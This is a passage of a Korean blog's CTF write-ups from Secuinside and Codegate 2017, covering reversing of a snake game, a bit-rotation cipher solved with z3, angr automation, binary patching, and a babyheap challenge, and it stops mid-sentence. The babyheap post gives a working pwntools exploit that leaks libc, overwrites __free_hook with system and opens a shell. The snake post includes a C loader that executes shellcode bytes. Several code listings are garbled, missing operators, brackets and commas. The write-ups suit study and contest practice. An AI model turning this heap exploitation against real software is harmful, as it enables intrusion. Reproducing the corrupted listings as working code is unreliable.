2017. 7. 22. 21:44

## Secuinside CTF_2017(snake, rev)


[Summary]

1. sub_4014DB()함수가 실제 게임을 수행하는 메인 함수이다.

2. 게임을 진행하면서 snake가 목표를 잡으면 점수가 올라가며 stage가 진행된다.

3. stage가 진행됨에 따라 v21의 값에 특정 연산을 진행한다.

4. 우리는 이 연산을 그대로 코드로 옮기고 실제 snake가 목표를 안잡더라도 잡은 것처럼 

    점수를 올리고 stage를 진행시켜가면서 v21에 올바른 값이 가도록 코딩을 한다.

5. 마지막으로 꼬리의 길이가 304보다 크면 또 다른 특정 연산을 수행하고 최종적으로 gameover이거나 flag를 뱉는다. 


[Analysis] 

  snake문제를 실행시키면 아래 [그림 1]과 같이 메뉴가 나타나고 게임을 시작하면 [그림 2]와 같이 목표와 snake가 

화면에 나타나며 snake가 목표를 잡을 때마다 점수가 오르고 stage가 특정 점수 조건

(10 * stage + previous_score - 7 <= new_score)을 만족할 때마다 다음 stage로 넘어간다.


[그림 1] 메인 메뉴



[그림 2] 게임 시작


 게임 방식은 우선 저기 보이는 길다란 snake가 벽에 닿아서도 안되고 자기 자신의 몸에 맞아서도 안되며 0으로 

보이는 목표물을 잡아먹어야 Score가 올라가는 형식으로 위에서 언급했듯이 Score가 특정 조건에 만족하면 다음 

stage로 넘어가는 형식의 게임이다.


 이제 이 게임을 IDA를 통해서 실제 game을 동작시키는 메인 코드인 sub_4014DB()함수를 보면 아래 [그림 3]과 같다.



[그림 3] Play Game (sub_4014DB()함수)의 첫 번째 중요 부분


 위 [그림 3]의 소스코드를 간단히 분석해보면 실제 동적디버깅을 하면서 내부 함수를 분석하면 sub_40105A()

함수는 goal에 도착했는지를 체크하는 함수이고, sub_400DD6()함수는 goal을 잡았을 때  새로운 goal을 

랜덤으로 만들어내는 함수이다.


 그래서 실제로 44번째 줄에서 goal_check를 하고 만약 snake의 head가 goal을 잡았으면 if문 내부로 들어와

46번째 줄에서 새로운 다음 goal을 랜덤으로 생성한 후 48번째 줄에서 score가 다음 stage로 가기에 적합한 조건인지

판단을 한 후 만약 다음 스테이지로 넘어가도 되는 점수라면 50번째 줄에서 sub_4011A5()함수를 실행해 플래그가 

decrypt되기 전의 값이 들어가 있는 v21배열에 특정 연산을 하여 decrypt를 하게 된다. 해당 코드는 아래 

[그림 4]에서 확인할 수 있다. 그 이후는 snake의 이동속도를 증가시키는 루틴이므로 중요하지 않다.



[그림 4] encrypt된 flag 배열을 decrypt 하는 중간 과정 계산 식


 위 [그림 4]가 중요하므로 간단히 분석해 보면 a1이 encrypt된 flag배열, a2가 현재 score, a3이 stage, a4가 

previous_score이고 a2, a3, a4를 이용해 a1의 각 배열의 원소에 특정 계산을 통해 집어넣는다. 이 때의 계산식은 

여러분이 자세히 보면 알 것이고 우리는 그대로 파이썬 코드로 옮기기만 할 것이다. 

여기까지가 플래그를 건드리는 첫번재 단계이다.


 여기 까지 분석을 했다면 그 다음 48번째 줄에서 다음 스테이지로 넘어가지 않는다면 단순히 점수를 올리고 

끝이 난다. 그리고 이렇게 다음 Stage로 넘어갈지 아닐지 판단한 후에는 항상 sub_4010B6()함수를 이용해 

kill되었는지 체크하고 만약 snake가 죽으면 exit_flag의 값을 1을, 살아있으면 0을 반환한다.


 그 이후에 항상 반복문을 돌아갈때마다 아래 [그림 5]와 같이 snake의 꼬리의 갯수가 304보다 큰지 확인하는데 

이 때 꼬리의 길이가 304보다 크면 또 encrypt된 flag가 들어 있는 v21의 값을 특정 연산을 거쳐 decrypt하게 

되는데 이 코드는 아래 [그림 5]에서 확인할 수 있다.



[그림 5] Play Game (sub_4014DB()함수)의 두 번째 중요 부분


 [그림 5]를 간단히 분석하면 v21 배열의 각 원소에 stage, score, previous_score값을 이용해 지들끼리 xor하고 

더하고 빼고 이상한 연산을 한다. 우리는 위에서 설명한 첫 번째 단계와 똑같이 이를 그대로 파이썬 코드로 옮기면 

된다. 자세히 들여다보면 변수명을 이해하기 쉽게 바꿔놓았기 때문에 이해가 갈 것이다. (여기서 이런 변수명의 

역할을 알아내는 것이 어려울 수 있는데 나같은 경우는 그냥 동적디버깅으로 각 변수가 뭔 역할을 하는지 일일이 

확인한다.)


 이제 여기까지 다 끝냈으면 flag를 decrypt하는 두 번째 단계까지 온 것이다. 위 [그림 5]의 85번째 줄에서 exit_flag에 

2의 값을 넣는 것을 확인할 수 있고 그럼 91번째 줄이 실행이 되면서 sub_4013C5()함수를 호출한다. 이 함수의 

역할은 안에 들어가보면 아래 [그림 6]과 같이 생겼는데 게임을 성공적으로 Clear했을 때 v21의 값에다가 또 무슨 

이상한 연산(이번이 3번째 단계)을 한 후 v21의 값을 출력하는 것을 알 수 있다. 그리고 이 값이 flag이다.



[그림 6] game clear역할을 하는 sub_4013C5() 함수 내부


 이제 거의 다왔다. 실제 [그림 6]의 함수를 분석해보면 나머지는 다 콘솔 정리하는 부분들이고 sub_401337()함수가 

중요하다. 이 함수는 아래 [그림 7]과 같은 코드를 가진다.



[그림 7] sub_401337()함수 분석


 자 이제 위 [그림 7]에서 나온 코드를 분석하면 뭔가 이상하다. 지금까지 flag배열이라고 알고 있던 v21이 flag가 

아니고 문제를 푼지 오래되서 까먹어서 위에서 잘못 말했다. 그냥 어떤 값이다. 그래도 문제는 없는데 이 함수를 

분석하면 qword_604180메모리에 mmap()함수로 excute가능한 메모리를 할당하고 102번의 for문을 돌면서 

우리가 지금까지 열심히 구했던 v21의 각 원소와 byte_6040E0메모리에 들어있던 각 원소끼리 한 바이트씩 

xor연산을 하여 새로 할당받은 qword_604180메모리에 넣는다. 그리고 8번째 줄에서 실행을 한다.


 이제 분석은 다 끝났다. 실제로 위 v21에 어떤 연산을 취한 결과와 byte_6040E0의 값들을 xor하여 실행가능한 

메모리영역에 올리고 실행한다. 즉 쉘코드를 실행시키는 것이다. 이제 위에서 설명한 v21을 건드리는 2가지 단계를 

그대로 파이썬 코드로 옮기고 byte_6040E0과 xor한 결과 값을 구한 후 쉘코드를 실행시키기만 하면된다. 

이 때 나는 쉘코드를 출력하는 파이썬 코드와 그 쉘코드를 실행시키는 c코드를 짜서 실행을 했다. 


 파이썬 코드를 실행하면 아래 [그림 8]과 같이 바이트 코드가 출력되고, C코드를 실행하면 아래 [그림 9]와 같이 

flag가 나온다!!! 아 아니다. 안나온다. C코드는 세그멘테이션 폴트가 뜨는데 오류 수정하기가 귀찮아서 IDA에 

메모리에 그대로 바이트 코드를 직접 수동으로 박아주고 실행하였더니 아래 [그림 9]와 같이 flag가 튀어 나왔다.


[Exploit Code] - snake_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
previous_score = 0
score = 0
stage = 1
tail_length = 4
 
v21 = [for i in xrange(102)]
 
def convert2byte(data):
    return (data & 0xff)
 
## Stage 1
while(tail_length <= 304):
    score += stage
    if(10*stage + previous_score - <= score):
        if(stage & 1):
            v21[stage-1+= stage ^ 7
            v21[stage-1+32= v21[stage-1+32+ score - previous_score + (-3)*stage
            v21[stage-1+64+= stage + 12
 
            v21[stage-1= convert2byte(v21[stage-1])
            v21[stage-1+32= convert2byte(v21[stage-1+32])
            v21[stage-1+64= convert2byte(v21[stage-1+64])
        else:
            v21[stage-1+= (stage ^ 2+ 2
            v21[stage-1+32+= (* stage ^ 7+ 2
            v21[stage-1+64= v21[stage-1+64+ score - previous_score + (-3)*stage + 15
 
            v21[stage-1= convert2byte(v21[stage-1])
            v21[stage-1+32= convert2byte(v21[stage-1+32])
            v21[stage-1+64= convert2byte(v21[stage-1+64])
        stage += 1
 
        previous_score = score
    tail_length += 1
 
## Stage 2
if(stage & 1):
    v21[stage-1= v21[stage-1+ ((stage - score + * previous_score) ^ 0xE- 77
    v8 = v21[stage+31]
    v21[stage+31= v21[stage+31+ (-20)*(score ^ * stage)
    v21[stage+63+= ((stage - 31304>> 2)
 
    v21[stage-1= convert2byte(v21[stage-1])
    v21[stage+31= convert2byte(v21[stage+31])
    v21[stage+63= convert2byte(v21[stage+63])
else:
    v21[stage-1+= stage+56
    v8 = (score - previous_score)
    v21[stage+31= v21[stage+31+ score - previous_score - 123
    v21[stage+63= v21[stage+63+ * (score - previous_score) - 9
 
    v21[stage-1= convert2byte(v21[stage-1])
    v21[stage+31= convert2byte(v21[stage+31])
    v21[stage+63= convert2byte(v21[stage+63])
 
## Stage 3
byte_6040E0 = [0x530x4A0x8D0xED0x4A0xBE0x6E0x670x510x630x780x3E0x570x0E0x410xAD0x730x660x330x6B0x4D0x720x620x750x560xA00x430x570x730x700x7D0x070x6F0x630x470xAF0x750x520x430x6A0x600x610x250x440x120xA50x360x450x1E0x430xE00x1F0xCC0x610xE90x860xFC0x700xFE0x140x900x550xB80x060x5D0x560x5E0x660x410x610x450x100xAF0x140x170x630x190x390x920x990xA20x8C0x1F0x9B0x210x110x220xB70x250xC50x280xD60x910xDD0x2B0x770x000x480x310xFF0x0F0x05]#, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
qword_604180 = [for i in xrange(102)]
for i in xrange(0,102):
    qword_604180[i] = v21[i] ^ byte_6040E0[i]
 
for i in xrange(0102):
    print "%.2x"%qword_604180[i],
 
cs


[Exploit Code] - snake_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <string.h>
 
char code[] = "\x55\x48\x89\xe5\x48\xb8\x6e\x6b\x5f\x69\x74\x2e\x5d\x00\x49\xb9\x65\x74\x27\x73\x5f\x64\x72\x69\x48\xba\x5f\x77\x69\x6e\x65\x5f\x6f\x66\x48\xbe\x6b\x5f\x69\x73\x5f\x74\x68\x65\x49\xb8\x5f\x6c\x69\x66\x65\x2e\x5f\x4c\x48\xbf\x53\x45\x43\x55\x5b\x68\x61\x63\x50\x41\x51\x41\x50\x52\x56\x57\xba\x41\x00\x00\x00\x48\x89\xe6\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\x48\x31\xff\x0f\x05";
 
int main()
{
    printf("len:%d bytes\n", strlen(code));
    (*(void(*)()) code)();
    return 0;
}
 
cs


[Get Flag~~!!!!]


[그림 9] flag 확인



끝~!!!









Posted by holinder4S
2017. 7. 22. 07:18

## Secuinside CTF_2017(TrippleRotate, rev)


[Summary]

1. 0과 1로 이루어진 encrypt 파일이 하나 주어지고 문제 바이너리가 주어짐.


2. 문제 바이너리는 9글자 Input을 받고 해당 문자를 암호화 루틴을 거쳐 파일로 떨굼.


3. 복잡한 암호화 알고리즘이 있는데 z3를 이용하여 조건을 만족하는 답을 찾으면 됨.



[Analysis] 

  TrippleRotate 문제는 IDA를 이용하여 분석해보면 아래 [그림 1]과 같이 Input문자를 받는데 9글자인지 체크를 한다.

만약 9글자가 아니면 "check your input"이라는 문자를 출력하고 프로그램이 종료된다.


[그림 1] main 분석


 또한 그 바로 밑에서 Length를 입력 받는데 이 length는 무조건 0xC8보다 커야하고 만약 작다면 "check your length"

라는 문자열을 출력하고 종료한다. 이제 아래부터는 풀었던 방식대로 단계별로 분석을 하도록 하겠다.


 1) 실제로 이 length값은 encrypt 값의 0과 1의 갯수가 된다. 따라서 우리가 decrypt하려는 encrypt파일의 0과 1의 

개수를 확인하면 201이라는 것을 확인할 수 있다.


 2) 이제 [그림 1]에서 보이는 encrypt_400876()함수를 분석해야하는데 해당 함수 내부는 아래 [그림 2]와 같다.



[그림 2] encrypt_400876  분석


 위 [그림 2]를 보면 유심히 살펴봐야할 부분이 빨간 네모박스 친 4군데가 있다. 위에서 부터 차례대로 분석을 해보면 

첫번째 박스는 3번째 네모박스와 연관이 있다. 3번째 for문을 보면 v5변수에 1씩 증가시키면서 함수를 호출하는데 

결과적으로 v5에 저장된 sub_400ACF, v6에 저장된 sub_400B22, v7에 저장된 sub_400B9B함수를 실행시키는 

부분이다.


 실제로는 그 전에 sub_400998함수를 실행하는데 이 함수의 내부를 잘 동적 분석을 해보면 우리가 넣은 인풋의 

한 글자 한 글자마다 2진수로 특정 메모리에 저장하는 것을 알 수 있다. 따라서 이 함수는 string to binary역할을 

하는 함수이다. 그런 다음 Input 스트링을 binary로 변환한 결과를 한 비트씩 0x16번째 비트까지는 first chunk에

집어넣는데 첫번째 비트는 first_chunk[0x16]에 두 번째 비트는 first_chunk[0x15]에 집어넣는 식으로 

first_chunk[0x0]까지 집어넣는 과정을 거친다. 이런 식으로 second_chunk에는 0x17부터 0x18만큼 거꾸로 

집어넣고, third_chunk에는 그 뒤부터 0x19만큼 집어넣는다. 그럼 총 0x17 + 0x18 + 0x19 = 0x48(72)bit

총 9바이트 9글자가 된다.


 예를 들면 아래 [그림3]과 같은 식이다.



[그림 3] first_chunk, second_chunk, third_chunk 값 입력 예제


 마지막 네모 박스는 나중에 설명하도록 하겠다.


 3) 이제 첫 번째 네모 박스의 각 함수에 대해 분석을 해야하는데 sub_400ACF() 함수는 아래 [그림 4]과 같다.



[그림 4] sub_400ACF() 함수 분석


 이 함수에서는 first_chunk배열의 0x17번부터 값을 채워나가는데 [그림 4]의 계산식을 보면 (first_chunk + 5 + i)와 

(first_chunk + i)의 값을 xor하여 (i+0x17)번째 위치에 대입하는 루틴이다.


 4) 이제 첫 번재 네모박스의 sub_400B22()함수에 대해 분석을 할 차례인데 아래 [그림 5]와 같다.



[그림 5] sub_400B22() 함수 분석


 이 함수에서는 second_chunk배열의 0x18번부터  값을 채워나가는데 [그림 5]의 계산식을 보면 

(second_chunk + 1 + i)와 (second_chunk + 3 + i)와 (second_chunk + 4 + i)와 (second_chunk + i)의 

값들을 xor하여 (i+0x18)번째 위치에 대입하는 루틴이다.


 5) 이제 첫 번째 네모박스의 sub_400B9B()함수에 대해 분석을 할 차례인데 아래 [그림 6]과 같다.



[그림 6] sub_400B9B() 함수 분석


 이 함수에서는 third_chunk배열의 0x19번부터 값을 채워나가는데 [그림 6]의 계산식을 보면 (third_chunk + 3 + i)와

(third_chunk + i)를 xor하여 (i+0x19)번째 위치에 대입하는 루틴이다.


 6) 이제 여기까지 분석을 했다면 다시 [그림 2]를 참고하여 23번째 줄 까지 끝낸 상황이다. 이제부터는 24번째 

줄부터인 마지막 박스를 분석해야하는데 이는 매우 쉽다. 위 5번까지 실행을 끝마치면 각 chunk에 값들이 다들어간 

상황이고 이를 단순히 xor과 and연산으로 섞어서 계산하는 부분이기 때문이다. [그림 2]의 마지막 박스에 있는 

계산식을 보면 


{ (second_chunk[k]) & (third_chunk[k]) } xor { (second_chunk[k]) & (first_chunk[k]) } xor { (third_chunk[k]) }


이 최종 결과 값 배열[k]에 대입된다.


 7) 여기까지 완성되면 "encrypt"라는 파일을 쓰는 루틴이 끝이다. 


이제 정연산 분석은 끝났고 역연산 루틴을 짜야하는데 and연산도 있고 해서 짜기가 까다롭다. 그래서 나는 파이썬의 

Z3 모듈을 사용하여 위 정연산 분석했던 조건들을 그대로 집어넣어 결과 값으로 문제에서 주어진 "encrypt"의 결과가 

나오도록 스크립트를 아래와 같이 작성하였다. 


 실제로 스크립트를 돌리면 아래[그림 7]과 같이 조건에 맞는 답이 나타나는데 출력은 각 청크의 0x16까지, 0x17까지, 

0x18까지 출력하도록 하였고, 이를 8비트씩 모아 1바이트로 만들고 9글자를 아스키 문자로 변환하면 키 값을 확인할 수 

있다.



[그림 7] z3사용 스크립트 실행 결과


[Exploit Code] - tripple_rotate_z3_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from z3 import *
 
array1 = []
array2 = []
array3 = []
encrypted = [0,0,1,0,0,0,1,0,1,1,0,1,0,1,1,0,1,1,1,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,1,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,0,1,1,0,0,0,1,1,0,1,1,1,0,0,1,0,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,1,1,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1]
 
= Solver()
 
for i in xrange(0xc9):
    array1.append(BitVec('a1_%.3i'%i,1))
for i in xrange(0x170xc9):
    s.add(array1[i] == (array1[i-0x17] ^ array1[i-0x17+5]))
 
for i in xrange(0xc9):
    array2.append(BitVec('a2_%.3i'%i,1))
for i in xrange(0x180xc9):
    s.add(array2[i] == (array2[i-0x18] ^ array2[i-0x18+1] ^ array2[i-0x18+3] ^ array2[i-0x18+4]))
 
for i in xrange(0xc9):
    array3.append(BitVec('a3_%.3i'%i,1))
for i in xrange(0x190xc9):
    s.add(array3[i] == (array3[i-0x19] ^ array3[i-0x19+3]))
 
for i in xrange(0xc9):
    s.add((array2[i] & array3[i]) ^ (array2[i] & array1[i]) ^ (array3[i]) == encrypted[i])
 
print s.check()
answer = s.model()
 
def varname(t):
    return t[0]
 
array1_decrypted = []
array2_decrypted = []
array3_decrypted = []
 
for i in answer.decls():
    if "a1_" in str(i.name()):
        array1_decrypted.append((str(i.name()),answer[i]))
    if "a2_" in str(i.name()):
        array2_decrypted.append((str(i.name()),answer[i]))
    if "a3_" in str(i.name()):
        array3_decrypted.append((str(i.name()),answer[i]))
 
    #print "%s = %s"%(i.name(), answer[i])
 
array1_decrypted.sort(key=varname)
array2_decrypted.sort(key=varname)
array3_decrypted.sort(key=varname)
 
print "## first chunk ##"
for i in xrange(0x17):
    print array1_decrypted[i][1],
print "\n## second chunk ##"
for i in xrange(0x18):
    print array2_decrypted[i][1],
print "\n## third chunk ##"
for i in xrange(0x19):
    print array3_decrypted[i][1],
    
 
cs


끝~!








Posted by holinder4S
2017. 7. 20. 06:55

## Secuinside CTF_2017(babyheap, pwn)


[Summary]

1. realloc(0)이 free()역할을 하는 점을 이용한 UAF 취약점


2. 멤버를 0xff, 0x1만큼 추가하여 0xff만큼 할당시킨 후 realloc(0)이 되게 만들어 free()를 한다.


3. 팀을 0x7f8(0xff * 0x8)의 크기로 create하면 2번에서 free된 자리에 할당된다.
    (이 때 팀의 description에는 __free_got주소를 넣는다.)


4. manage_member 기능을 활용하여 0x7f8의 0번째에 system함수주소를 덮어씌운다.(UAF)
    (__free_got주소안에 system함수 주소를 넣는다.)


5. delete member기능을 이용하여 free()를 하면 system('/bin/sh')이 실행된다.
    (이 때 멤버의 description에는 "/bin/sh\x00"문자열이 들어있어야 한다.)


6. Leak은 팀을 생성한 후 멤버를 0xff만큼 추가하고 멤버 한명을 삭제하면
    fd,bk쪽에 빈리스트의 주소가 저장되는데 이를 릭한 후 오프셋 계산을 통해 libc base를 계산한다.
    (마찬가지로 system주소, __free_got도 계산)


7. Heap Leak도 할 수 있지만 여기서는 필요 없다.



[Analysis] 

  시간 나면 업데이트 예정..(근데 summary에 너무 자세하게 설명했다.)

 이 문제는 대회때는 Heap 주소 릭까지만 하고 그 이후는 진전이 없었던 문제이다. 대회가 끝난 후 WriteUp을 

참고하여 문제를 풀 수 있었다. 열심히 공부해야겠다..


[Exploit Code] - babyheap_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
import os
#import hexdump
 
context(arch='amd64',os='linux')
local=True
#local=False
 
if local:
    #env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")}
    p = process("./babyheap")
else:
    p = remote("13.124.157.141"31337)
 
binary = ELF("./babyheap")
 
raw_input()
 
def print_menu():
    print p.recvuntil('>')
 
def create_team(length, desc):
    print_menu()
    p.send('1\n')
    print p.recvuntil('length :')
    p.send(length+'\n')
    print p.recvuntil('Description :')
    p.send(desc)
 
def manager_team(index):
    print_menu()
    p.send('3\n')
    print p.recvuntil('Index :')
    p.send(index+'\n')
 
def list_team(team_cnt):
    print_menu()
    p.send('4\n')
    for i in xrange(team_cnt):
        print p.recvuntil('Description : ')
        if (i+1== team_cnt:
            leak = p.recv(6); print leak
            return leak
 
def add_member(employment_cnt):
    print_menu()
    p.send('1\n')
    print p.recvuntil('employment :')
    p.send(employment_cnt+'\n')
    
def add_member_info(name, desc):
    print p.recvuntil('Name :')
    p.send(name)
    print p.recvuntil('Description :')
    p.send(desc)
 
def delete_member(index):
    print_menu()
    p.send('2\n')
    print p.recvuntil('Index :')
    p.send(index+'\n')
 
def manage_member(index, desc):
    print_menu()
    p.send('4\n')
    print p.recvuntil('Index :')
    p.send(index+'\n')
    print p.recvuntil('Description :')
    p.send(desc)
 
def return2team():
    print_menu()
    p.send('5\n')
    
 
if __name__ == '__main__':
    #################### Stage 1 ###################
    #     libc base leak & calc libc's free_hook   #
    ################################################
    create_team(str(5), 'AAAA')    # 0 team
    manager_team('0')
    
    emp_cnt = 0xff
    add_member(str(emp_cnt))
    for i in xrange(emp_cnt):
        add_member_info('/bin/sh\x00','/bin/sh\x00')
    
    delete_member('0')
    return2team()
    create_team(str(0xc8), '\n')    # 1 team+0x16~ : free list's addr
 
    libc_leak = u64(list_team(2)+"\x00\x00"); print hex(libc_leak)
    libc_base = libc_leak - 0x3c270a
    free_hook = libc_base + 0x3c4a10
    system = libc_base + 0x46590
    print "[+] libc base addr : " + hex(libc_base)
    print "[+] libc free_hook : " + hex(free_hook)
    print "[+] system addr : " + hex(system)
    ################### Stage 2 ####################
    #   overwrite __free_hook to system using UAF  #
    ################################################
    manager_team('0')
    add_member('1')        # realloc(0) => free()
    return2team()
 
    create_team(str(0x7f8), p64(free_hook)+'\n')    # 0xff*0x8 = 0x7f8 => uaf
    manager_team('0')
    manage_member('0', p64(system))    # overwrite free_hook to system(uaf)
    
    delete_member('4')    # triggering to free(overwritten system)
 
 
    p.interactive()
 
cs


Posted by holinder4S
2017. 2. 19. 00:58

## Codegate CTF_2017(EasyCrack 101, rev)


[Summary]

1. 키 값을 찾아야 하는 간단한 바이너리가 101개 주어지고 각각의 바이너리의 키 값을 웹 페이지에 인증해야함

2. 바이너리들이 작고 101개가 전부 동일한 구조이므로 angr를 이용하여 자동화하여 문제를 풀 수 있음


[Analysis] 

  EasyCrack 101 문제는 Binary.zip 파일을 하나 던져주고 전부 다 크랙해서 패스워드를 찾아내 101개의 바이너리 

모든 패스워드를 웹을 통해 인증하는 문제였다. 우선 다운로드 받은 binary 파일들 중 prob1과 prob2를 아래 

[그림 1]과 같이 IDA를 이용해 분석해 보았다. prob1과 prob2 바이너리는 완전 동일한 구조로 이루어져 있었고

주소 값만 약간씩 다른 것을 확인할 수 있었다. 또한 이 문제도 angrybird 문제와 비슷하게 input값이 주어지면 

자체 연산을 거쳐 조건 분기문으로 가서 비교를 한 후 키 값이 맞으면  "Good job"이라는 문자열을 틀리면 

"No No!"라는 문자열을 출력하고 프로그램을 종료했다.


 따라서 이 문제도 angr를 이용해서 풀면 쉬울거라고 생각했다. 하지만 문제점이 하나 있는데 여기서 각 101개의

바이너리들의 모든 find 주소와 avoid 주소를 수동으로 직접 IDA를 켜서 눈으로 확인하고 angr로 만든 파이썬 

코드에 주소 값을 수정하면서 하나하나 키 값을 찾아내어 웹 상에 인증하는 것은 너무 비효율적이라고 생각이 

되었다.


[그림 1] prob1 & prob2 분석


 이 문제점은 아래 [그림 2]와 같이 avoid 주소의 어셈블리 코드(OPCODE)와 find 주소의 어셈블리코드(OPCODE)의 

특징을 이용하여 해결하였다.


[그림 2] find & avoid OPCODE 특징


 따라서 해당 OPCODE를 이용하여 find와 avoid 리스트를 자동으로 구한 후 angr를 이용하여 키 값을 자동으로 찾게 

파이썬 스크립트를 짠 후 실행하면 아래 [그림 3]과 같이 101개의 바이너리에 대한 각각의 키 값을 얻을 수 있게 된다.


[그림 3] 키 값 자동화


 각각의 키 값을 웹에 다 입력하게 되면 아래 [그림 4]와 같이 flag가 있는 웹페이지가 로드된다.


[Exploit Code] - easycrack101_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import angr
import hexdump
from pwn import *
 
def solve(binary_name, find_addr, avoid_addr):
    proj = angr.Project(binary_name, load_options={'auto_load_libs':False})
    argv1 = angr.claripy.BVS("argv1"100*8)
    initial_state = proj.factory.entry_state(args=[binary_name, argv1])
 
    pg = proj.factory.path_group(initial_state)
 
    pg.explore(find=find_addr, avoid=avoid_addr)
    found = pg.found[0]
    solution = found.state.se.any_str(argv1)
 
    solution = solution[:solution.find("\x00")]
    return solution
 
if __name__ == '__main__':
    for i in xrange(0,101):
        binary_name = "prob"
        binary_name += str(i+1)
    
        f = open(binary_name, 'rb')
        binary_content = f.read()
        f.close()
        total = ''
        for j in xrange(len(binary_content)):
            total += '%02X' % int(ord(binary_content[j]))
 
        find_list_tmp = [j for j in range(len(total)) if total.startswith('EB0ABF',j)]
        avoid_list_tmp = [j for j in range(len(total)) if total.startswith('FFFFC9C3',j)]
        
        find_list = []; avoid_list = []
        for j in xrange(len(find_list_tmp)):
            find_list.append(0x400000 + (find_list_tmp[j]+1)/2 - 0xa)
        for j in xrange(len(avoid_list_tmp)):
            avoid_list.append(0x400000 + (avoid_list_tmp[j]+1)/2 - 0x8)
 
        #print avoid_list
        #print find_list
    
        #hexdump.hexdump(solve(binary_name, find_list[0], avoid_list[0]))
        #print find_list[0], avoid_list[0]
        print '['+str(i+1)+']',
        print(repr(solve(binary_name,find_list[0],avoid_list[0])))
 
cs



[Get Flag~~!!!!]

[그림 4] flag 확인("Thank_U_4 s0lving_MY_Pr0b...u_@re_vEry_genius!!!")


끝~!





Posted by holinder4S
2017. 2. 19. 00:40

## Codegate CTF_2017(angrybird, reversing)


[Summary]

1. 바이너리가 동작하지 않는 몇가지 조건들이 있음 => 바이너리 패치를 해야함.

2. 바이너리가 원래 목적대로 정상 동작을 하면 angr을 이용하여 키 값을 찾아내야 함.


[Analysis] 

  angrybird 문제는 맨 처음 IDA를 이용해 분석하려고 하면 아래 [그림 1]과 같이 어셈블리로는 코드가 업청나게 

많은데 디컴파일을 하면 단순히 exit()만 하는 프로그램으로 인식하고 실제로 리눅스에서 실행시켜도 아무것도

하지 않고 종료하는 것을 확인할 수 있다.


[그림 1] angrybird 디컴파일


 따라서 제대로 인식하고 정상적으로 fgets()함수로 사용자 입력을 받고 돌게 하기 위해서 프로그램 코드 패치를 

할 필요가 있는데 [그림 1]에서 "jz _exit"명령을 nop으로 헥사에디터로 패치하면 아래 [그림 2]와 같이 정상적으로 

인식하게 된다.


[그림 2] 첫 번째 코드 패치


 하지만 [그림 2]에서 보이듯이 실행을 하면 의미심장한 문자열이 출력된 후 Segmentation fault가 뜨고 프로그램이

비정상적으로 종료하는 것을 확인할 수가 있다. 따라서 디컴파일 후의 소스코드를 보니 sub_4006F6(), 

sub_40070C(), sub_40072A()라는 3개의 함수가 있었다.


 이 각각의 코드를 한번 보면 우선 첫번째 sub_4006F6()함수는 아래 [그림 3]과 같이 return 값이 1이 아니라 21이

되어야 한다고 하고 실제로 dword_606060의 값을 return 하는데 dword_606060값은 1인 것을 확인할 수 있고

다음과 같이 패치를 할 수 있다.


[그림 3] 두 번재 패치 코드


 이렇게 패치 했음에도 바이너리를 실행하면 [그림 2]과 동일하게 Segmentation Fault가 뜨면서 프로그램이 죽는다.

따라서 두 번째 함수 sub_40070C()를 보았다. sub_40070C()를 보면 아래 [그림 4]와 같이 

"mov eax, [esp+var_s0]" 부분에서 64bit 환경에서 eax에 값을 집어넣으려다가 seg fault가 뜨게 되고 이걸 

해결한다고 하더라도 _exit()함수가 있어서 종료하게 되는데 이를 [그림 4]와 같이 패치하면 정상적으로 사용자 

입력을 받고 조건식을 거쳐 merong이 뜨는 것을 확인할 수 있다.


[그림 4] 세 번째 패치 코드


 그럼 이제 마지막 3번째 함수가 남게 되는데 3번째 함수인 sub_40072A()함수는 아래 [그림 5]와 같이 __libc_main

주소가 들어있는 off_606038과 "hello"라는 문자열과 strncmp()함수를 이용해 비교를 한다. 그래서 같으면

정상적으로 함수를 종료하고 사용자 입력 문자열을 여러가지 연산과 비교를 통해 검증하고 그렇지 않으면 exit()

함수를 이용해 바로 프로그램을 종료시켜버린다. 따라서 strncmp()함수를 nop로 패치를 하면 되는데 여기서 중요한

점이 있다.


[그림 5] 네 번째 패치 코드(1)


 이 함수에서 off_606038와 "hello"라는 문자열을 왜 비교할까? 라는 생각을 해야하는데 실제 main()함수에서 보면

아래 [그림 6]과 같이 [rbp+var_58]이라는 변수에 off_606038의 값을 집어 넣는데 나중에 fgets()함수로 받는

사용자 입력 값을 엄청나게 많은 연산고 조건으로 검증할 때 [rbp+var_58]변수가 7번 정도 개입하게 된다. (IDA 기능

중 cross reference 기능을 이용) 따라서 위 [그림 5]처럼 단순 nop처리만 할 것이 아니라 main()함수에서 var_58

